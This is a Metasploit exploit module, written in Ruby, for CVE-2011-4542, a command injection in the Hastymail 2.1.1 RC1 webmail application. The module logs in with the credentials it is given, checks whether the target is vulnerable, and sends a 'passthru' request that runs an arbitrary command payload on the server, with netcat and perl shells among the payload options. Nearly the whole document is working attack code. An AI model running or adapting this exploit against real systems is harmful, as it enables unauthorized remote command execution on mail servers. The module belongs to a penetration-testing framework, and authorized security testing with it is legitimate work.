Hastymail 2.1.1 RC1 Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Hastymail 2.1.1 RC1 Command Injection",
        'Description' => %q{
          This module exploits a command injection vulnerability found in Hastymail
          2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on
          the "lib/ajax_functions.php" script. Authentication is required on Hastymail
          in order to exploit the vulnerability. The module has been successfully tested
          on Hastymail 2.1.1 RC1 over Ubuntu 10.04.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Bruno Teixeira', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2011-4542' ],
          [ 'BID', '50791' ],
          [ 'OSVDB', '77331' ],
          [ 'URL', 'https://www.dognaedis.com/vulns/DGS-SEC-3.html' ]
        ],
        'Payload' => {
          'Compat' =>
                  {
                    'PayloadType' => 'cmd',
                    'RequiredCmd' => 'generic perl ruby python netcat netcat-e',
                  }
        },
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          ['Hastymail 2.1.1 RC1', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-11-22',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, "The base path to Hastymail", "/hastymail2/"]),
        OptString.new('USER', [true, "The username to authenticate with", ""]),
        OptString.new('PASS', [true, "The password to authenticate with", ""])
      ]
    )
  end

  def check
    @uri = normalize_uri(target_uri.path)
    @uri << '/' if @uri[-1, 1] != '/'
    @session_id = ""

    login

    if not @session_id or @session_id.empty?
      vprint_error "Authentication failed"
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    test = rand_text_alpha(rand(4) + 4)
    data = "rs=passthru&"
    data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
    data << "rsargs[]=echo #{test}"
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "#{@uri}",
      'Cookie' => @session_id,
      'data' => data
    })

    if res and res.code == 200 and res.body =~ /#{test}/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def login
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "#{@uri}?page=login",
      'vars_post' =>
      {
        'user' => datastore['USER'],
        'pass' => datastore['PASS'],
        'login' => 'Login'
      }
    })

    if res and res.code == 303
      @session_id = res.get_cookies
      print_good("Authentication Successful")
    end
  end

  def exploit
    @uri = normalize_uri(target_uri.path)
    @uri << '/' if @uri[-1, 1] != '/'
    @session_id = ""

    print_status "Trying login"
    login

    if not @session_id or @session_id.empty?
      print_error "Authentication failed"
      return
    end

    print_good "Authentication successfully, trying to exploit"

    data = "rs=passthru&"
    data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
    data << "rsargs[]=#{payload.encoded}"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "#{@uri}",
      'Cookie' => @session_id,
      'headers' => {
        'Cmd' => Rex::Text.encode_base64(payload.encoded)
      },
      'data' => data
    })

    if not res or res.code != 200 or not res.body =~ /\+/
      print_error "Exploitation failed"
      return
    end
  end

end